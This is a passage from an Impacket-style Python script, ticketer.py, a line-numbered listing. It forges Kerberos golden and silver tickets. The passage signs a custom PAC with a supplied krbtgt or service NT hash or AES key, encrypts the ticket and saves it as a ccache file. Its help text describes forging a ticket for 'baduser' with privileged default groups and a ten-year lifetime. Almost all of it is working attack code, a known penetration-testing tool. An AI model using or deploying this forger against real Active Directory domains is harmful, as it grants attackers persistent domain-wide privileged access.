   602              keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
   603          else:
   604              raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])
   605  
   606          checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]
   607          if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
   608              keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
   609          elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
   610              keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
   611          elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
   612              keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
   613          else:
   614              raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])
   615  
   616          serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
   617          logging.info('\tPAC_SERVER_CHECKSUM')
   618          privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
   619          logging.info('\tPAC_PRIVSVR_CHECKSUM')
   620  
   621          buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
   622          pacType['Buffers'] = buffers + buffersTail
   623  
   624          authorizationData = AuthorizationData()
   625          authorizationData[0] = noValue
   626          authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
   627          authorizationData[0]['ad-data'] = pacType.getData()
   628          authorizationData = encoder.encode(authorizationData)
   629  
   630          encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
   631  
   632          if logging.getLogger().level == logging.DEBUG:
   633              logging.debug('Customized EncTicketPart')
   634              print(encTicketPart.prettyPrint())
   635              print ('\n')
   636  
   637          encodedEncTicketPart = encoder.encode(encTicketPart)
   638  
   639          cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
   640          if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
   641              key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
   642          elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
   643              key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
   644          elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
   645              key = Key(cipher.enctype, unhexlify(self.__options.nthash))
   646          else:
   647              raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
   648  
   649          # Key Usage 2
   650          # AS-REP Ticket and TGS-REP Ticket (includes TGS session
   651          # key or application session key), encrypted with the
   652          # service key (Section 5.3)
   653          logging.info('\tEncTicketPart')
   654          cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
   655  
   656          kdcRep['ticket']['enc-part']['cipher'] = cipherText
   657          kdcRep['ticket']['enc-part']['kvno'] = 2
   658  
   659          # Lastly.. we have to encrypt the kdcRep['enc-part'] part
   660          # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
   661          encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
   662  
   663          if self.__domain == self.__server:
   664              # Key Usage 3
   665              # AS-REP encrypted part (includes TGS session key or
   666              # application session key), encrypted with the client key
   667              # (Section 5.4.2)
   668              sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())
   669              logging.info('\tEncASRepPart')
   670              cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None)
   671          else:
   672              # Key Usage 8
   673              # TGS-REP encrypted part (includes application session
   674              # key), encrypted with the TGS session key
   675              # (Section 5.4.2)
   676              sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())
   677              logging.info('\tEncTGSRepPart')
   678              cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None)
   679  
   680          kdcRep['enc-part']['cipher'] = cipherText
   681          kdcRep['enc-part']['etype'] = cipher.enctype
   682          kdcRep['enc-part']['kvno'] = 1
   683  
   684          if logging.getLogger().level == logging.DEBUG:
   685              logging.debug('Final Golden Ticket')
   686              print(kdcRep.prettyPrint())
   687              print ('\n')
   688  
   689          return encoder.encode(kdcRep), cipher, sessionKey
   690  
   691      def saveTicket(self, ticket, sessionKey):
   692          logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
   693          from impacket.krb5.ccache import CCache
   694          ccache = CCache()
   695  
   696          if self.__server == self.__domain:
   697              ccache.fromTGT(ticket, sessionKey, sessionKey)
   698          else:
   699              ccache.fromTGS(ticket, sessionKey, sessionKey)
   700          ccache.saveFile(self.__target.replace('/','.') + '.ccache')
   701  
   702      def run(self):
   703          ticket, adIfRelevant = self.createBasicTicket()
   704          if ticket is not None:
   705              encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)
   706              ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos)
   707              self.saveTicket(ticket, sessionKey)
   708  
   709  if __name__ == '__main__':
   710      # Init the example's logger theme
   711      logger.init()
   712      print(version.BANNER)
   713  
   714      parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on "
   715                                                                  "user options")
   716      parser.add_argument('target', action='store', help='username for the newly created ticket')
   717      parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will'
   718                                                       ' be generated for. if omitted, golden ticket will be created')
   719      parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it '
   720                          'changing only the supplied information. It requires specifying -user')
   721      parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)')
   722      parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be '
   723                                                              'generated for')
   724      parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket '
   725                                                                               '(128 or 256 bits)')
   726      parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket')
   727      parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of '
   728                          'groups user will belong to (default = 513, 512, 520, 518, 519)')
   729      parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be '
   730                                                                            'created for (default = 500)')
   731      parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC')
   732      parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires '
   733                                                                              '(default = 365*10)')
   734      parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
   735  
   736      group = parser.add_argument_group('authentication')
   737  
   738      group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be '
   739                                                       'different from domain/username')
   740      group.add_argument('-password', action="store", help='password for domain/username')
   741      group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
   742      group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
   743                         'ommited it use the domain part (FQDN) specified in the target parameter')
   744  
   745      if len(sys.argv)==1:
   746          parser.print_help()
   747          print("\nExamples: ")
   748          print("\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n")
   749          print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.")
   750          print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256")
   751          print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as")
   752          print("\tbaduser.ccache.\n")
   753          print("\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain " 
   754                "<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n")
   755          print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used")
   756          print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,")
   757          print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'")
   758          print("\tand saved as baduser.ccache")
   759          sys.exit(1)
   760  
   761      options = parser.parse_args()
   762  
   763      if options.debug is True:
   764          logging.getLogger().setLevel(logging.DEBUG)
   765      else:
   766          logging.getLogger().setLevel(logging.INFO)
   767  
   768      if options.domain is None:
   769          logging.critical('Domain should be specified!')
   770          sys.exit(1)
   771  
   772      if options.aesKey is None and options.nthash is None:
   773          logging.error('You have to specify either a aesKey or nthash')
   774          sys.exit(1)
   775  
   776      if options.aesKey is not None and options.nthash is not None and options.request is False:
   777          logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')
   778          sys.exit(1)
   779  
   780      if options.request is True and options.user is None:
   781          logging.error('-request parameter needs -user to be specified')
   782          sys.exit(1)
   783  
   784      if options.request is True and options.hashes is None and options.password is None:
   785          from getpass import getpass
   786          password = getpass("Password:")
   787      else:
   788          password = options.password
   789  
   790      try:
   791          executer = TICKETER(options.target, password, options.domain, options)
   792          executer.run()
   793      except Exception as e:
   794          if logging.getLogger().level == logging.DEBUG:
   795              import traceback
   796              traceback.print_exc()
   797          print(str(e))